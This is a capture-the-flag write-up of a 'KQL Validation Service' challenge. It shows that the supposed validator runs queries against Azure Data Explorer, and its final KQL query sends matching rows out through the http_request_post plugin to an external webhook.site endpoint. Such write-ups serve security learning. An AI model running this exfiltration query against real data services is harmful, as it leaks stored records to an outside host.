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+# KQL Validation Service
+
+Writeup author: `0xle`
+
+## Introduction
+
+The *KQL Validation Service* seems to be a web application that allowed users to "validate" their KQL queries.
+
+!["Validation" of an invalid KQL query.](assets/1.png)
+
+Additionally, the frontend revealed various "cluster policies" which seems to be retrieved using
+various [management commands](https://learn.microsoft.com/en-us/kusto/management/?view=azure-data-explorer).
+
+![A page displaying "cluster policies".](assets/2.png)
+
+## Analysis
+
+Running probe queries for row(s) containing `EPT{` will reveal that the queries are not just *validated*, but actually
+run against the Data Explorer instance.
+
+**Query**:
+
+```kql
+let c = toscalar(search * | where * contains "EPT{" | count);
+print assert(c != 0, "nope")
+```
+
+![Query displaying the existence of the flag.](assets/3.png)
+
+Running a query with a gibberish string proves that the query is actually executed and not just validated. This will be
+crucial for the exfiltration step later on.
+
+![Query proving the execution on the Data Explorer instance.](assets/4.png)
+
+Inspecting the "cluster policies" page will show that the `http_request` and the `http_request_post` plugins are enabled
+for the Data Explorer instance.
+
+![Policy showing the enabled HTTP request plugins.](assets/5.png)
+
+To summarize the analysis phase concludes that:
+
+- The query is actually being executed, and not just "validated".
+- The flag most likely exists in the Data Explorer somewhere and should be accessible.
+- The `http_request` and the `http_request_post` plugins are available for use.
+
+## Exploitation
+
+Since the validator does not have an easy way to output an arbitrary message, other means of extracting the data must be
+used. Bruteforcing is most likely not possible if the task description can be taken with a grain of salt: "There is a
+long flag in the Kusto database as well".
+
+The HTTP request plugins were conveniently enabled and thus, can be used to send the data of the row(s) to an external
+HTTP server. The website [webhook.site](https://webhook.site/) was to receive the data.
+
+**Final query**:
+
+```kql
+let data = toscalar(search * | where * contains "}" | project a = dynamic_to_json(pack_all()));
+evaluate http_request_post("https://webhook.site/...", dynamic({}), dynamic({}), data)
+```
+
+Explanation:
+
+- The query searches for rows that has a string field containing `}`.
+- The query [projects](https://learn.microsoft.com/en-us/kusto/query/project-operator?view=azure-data-explorer) the
+  entire row as a JSON
+  by [packing all the columns](https://learn.microsoft.com/en-us/kusto/query/pack-all-function?view=azure-data-explorer).
+- The query invoked the [
+  `http_request_post` plugin](https://learn.microsoft.com/en-us/kusto/query/http-request-post-plugin?view=azure-data-explorer)
+  to send the row to an external HTTP server.
+
+The query was first executed with `EPT{` as the search string, but that sent a bogus flag. The search string `}` was
+later tried, which seemed to return the actual flag. (Note that a Regex could be used instead of a `contains` condition
+since the task hinted that the flag is supposed to be *long*. For example, by using the following expression:
+`where * matches regex "EPT.{10,}"`)
+
+Executing the *final query* will result in the row containing the flag being sent to an external HTTP server thus,
+gaining the
+flag.
+
+![Callback HTTP POST body containing the flag.](assets/6.png)
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